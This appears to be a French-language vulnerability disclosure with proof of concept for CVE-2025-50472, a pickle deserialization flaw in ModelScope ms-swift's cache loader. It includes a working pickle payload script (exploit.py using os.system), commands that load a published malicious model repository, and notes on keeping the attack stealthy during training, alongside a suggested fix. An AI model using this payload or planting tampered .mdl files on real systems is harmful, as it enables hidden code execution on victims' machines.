
Exploit de preuve de concept pour CVE-2025-50472, une vulnérabilité de RCE par désérialisation dans le ModelFileSystemCache de ModelScope ms-swift via des fichiers .mdl malveillants.
J'ai téléchargé un dépôt de code contenant un fichier .mdl malveillant sur ModelScope à des fins de test. Il peut être utilisé directement lors des tests. Le lien est : https://www.modelscope.cn/models/HaoFan2024/ms-swift-test-fanhao/files
Le fichier .mdl contient du code malveillant intégré, mais aucun avertissement de sécurité n'est affiché sur ModelScope.
Code PoC:
# Set up the environment
pip install ms-swift==2.6.1
pip install -r framework.txt # This requirements file is included in the modelscope/ms-swift repository
# When using the remote repository HaoFan2024/ms-swift-test-fanhao, the `.mdl` file will be downloaded directly.
# During model loading, the `.mdl` file is loaded using `pickle.load`, leading to Remote Code Execution (RCE).
CUDA_VISIBLE_DEVICES=0 swift sft \
--model_type qwen1half-0_5b-chat \
--model_id_or_path=HaoFan2024/ms-swift-test-fanhao \
--dataset blossom-math-zh \
--num_train_epochs 5 \
--sft_type lora \
--output_dir output \
--eval_steps 200
La procédure pour reproduire le problème est la suivante :
Le modèle est téléchargé
Après l'exécution du code malveillant, l'entraînement se déroule normalement sans interruption
La charge utile malveillante est exécutée avec succès
La bibliothèque modelscope/ms-swift jusqu'à la version 2.6.1 est vulnérable à l'exécution de code arbitraire via la désérialisation de données non fiables dans la fonction load_model_meta() de la classe ModelFileSystemCache(). Les attaquants peuvent exécuter du code et des commandes arbitraires en créant une charge utile .mdl sérialisée malveillante, exploitant l'utilisation de pickle.load() sur des données provenant de sources potentiellement non fiables. Cette vulnérabilité permet une exécution de code à distance (RCE) en trompant les victimes pour qu'elles chargent un point de contrôle apparemment inoffensif lors d'un processus d'entraînement normal, permettant ainsi aux attaquants d'exécuter du code arbitraire sur la machine cible.
Notez que le fichier de la charge utile est un fichier caché, ce qui rend difficile la détection de la falsification par la victime. Plus important encore, pendant le processus d'entraînement du modèle, après le chargement du fichier .mdl et l'exécution du code arbitraire, le processus d'entraînement normal reste inchangé, ce qui signifie que l'utilisateur reste ignorant de l'exécution du code arbitraire.
Description détaillée de la vulnérabilité : La vulnérabilité résulte d'une désérialisation non sécurisée de données non fiables. Le script utilise pickle.load pour charger le fichier de cache caché et est vulnérable à l'exécution de code.
Flux de code depuis l'entrée jusqu'à la condition vulnérable :
~/.cache/modelscope/hub/xx/xx, où un fichier de cache .mdl était présent dans le répertoire du modèle, contenant des informations de base telles que le nom du modèle.caching.py a désérialisé le fichier .mdl, le code malveillant intégré dans le fichier a été exécuté.Point d'injection : La vulnérabilité se produit au point où pickle.load est appelé. Lien permanent GitHub : https://github.com/modelscope/ms-swift/blob/ab38bff0387a86fd9f068246c326ee7b0d5ed139/swift/hub/utils/caching.py#L141
Correctifs suggérés : Lors du traitement des fichiers de configuration (plutôt que des fichiers de modèle), il est recommandé d'adopter des méthodes d'analyse de fichiers plus sûres, telles que yaml.safe_load(yaml_file) ou json.load, pour atténuer le risque d'exécution de code arbitraire.
exploit.py pour créer un fichier de cache malveillant .mdl qui créera un répertoire sur le système de la victime :# exploit.py
import pickle
import os
class Exploit:
def __reduce__(self):
return (os.system, ('mkdir HACKED',))
# .mdl
data = pickle.dumps(Exploit())
with open('.mdl', 'wb') as f:
f.write(data)
Remplacez le fichier .mdl d'origine dans le répertoire du modèle par le fichier malveillant généré ci-dessus.
Lorsque le paramètre model_id_or_path est spécifié lors de l'entraînement pour référencer un répertoire de modèle local, un fichier .mdl falsifié dans le chemin spécifié peut entraîner une exécution de code à distance (RCE).
Important, une telle modification ne perturbe pas le flux de travail d'entraînement normal, rendant l'attaque RCE furtive et difficile à détecter pour les utilisateurs.
CUDA_VISIBLE_DEVICES=0 swift sft --model_type qwen1half-0_5b-chat --model_id_or_path=/root/.cache/modelscope/hub/qwen/Qwen1___5-0___5B-Chat --dataset blossom-math-zh --num_train_epochs 5 --sft_type lora --output_dir output --eval_steps 200
Hao Fan(凡浩) et Yu Rong(戎誉)